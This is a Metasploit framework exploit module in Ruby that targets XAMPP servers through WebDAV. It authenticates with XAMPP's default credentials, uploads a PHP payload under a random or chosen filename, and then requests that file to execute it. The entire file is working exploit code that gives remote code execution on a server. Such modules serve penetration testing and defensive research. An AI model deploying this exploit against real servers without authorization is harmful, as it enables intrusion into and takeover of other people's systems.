XAMPP WebDAV PHP Upload

                                                ##
# $Id$
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
 
    def initialize
        super(
            'Name'        => 'XAMPP WebDAV PHP Upload',
            'Description'    => %q{
                    This module exploits weak WebDAV passwords on XAMPP servers.
                    It uses supplied credentials to upload a PHP payload and
                    execute it.
            },
            'Author'      => ['thelightcosine <thelightcosine[at]metasploit.com'],
            'Version'     => '$Revision$',
            'Platform'    => 'php',
            'Arch'        => ARCH_PHP,
            'Targets'     =>
                [
                    [ 'Automatic', { } ],
                ],
            'DefaultTarget'  => 0
        )
 
        register_options(
            [
                OptString.new('PATH', [ true,  "The path to attempt to upload", '/webdav/']),
                OptString.new('FILENAME', [ false ,  "The filename to give the payload. (Leave Blank for Random)"]),
                OptString.new('RUSER', [ true,  "The Username to use for Authentication", 'wampp']),
                OptString.new('RPASS', [ true,  "The Password to use for Authentication", 'xampp'])
            ], self.class)
    end
 
 
 
    def exploit
        uri = build_path
        print_status "Uploading Payload to #{uri}"
        res,c = send_digest_request_cgi({
                    'uri'     => uri,
                    'method'  => 'PUT',
                    'data'  => payload.raw,
                    'DigestAuthUser' => datastore['RUSER'],
                    'DigestAuthPassword' => datastore['RPASS']
                }, 25)
        unless (res.code == 201)
            print_error "Failed to upload file!"
            return
        end
        print_status "Attempting to execute Payload"
        res = send_request_cgi({
            'uri'          =>  uri,
            'method'       => 'GET'
        }, 20)
    end
 
 
 
    def build_path
        if datastore['PATH'][0,1] == '/'
            uri_path = datastore['PATH'].dup
        else
            uri_path = '/' + datastore['PATH'].dup
        end
        uri_path << '/' unless uri_path.ends_with?('/')
        if datastore['FILENAME']
            uri_path << datastore['FILENAME']
            uri_path << '.php' unless uri_path.ends_with?('.php')
        else
            uri_path << Rex::Text.rand_text_alphanumeric(7)
            uri_path << '.php'
        end
        return uri_path
    end
 
end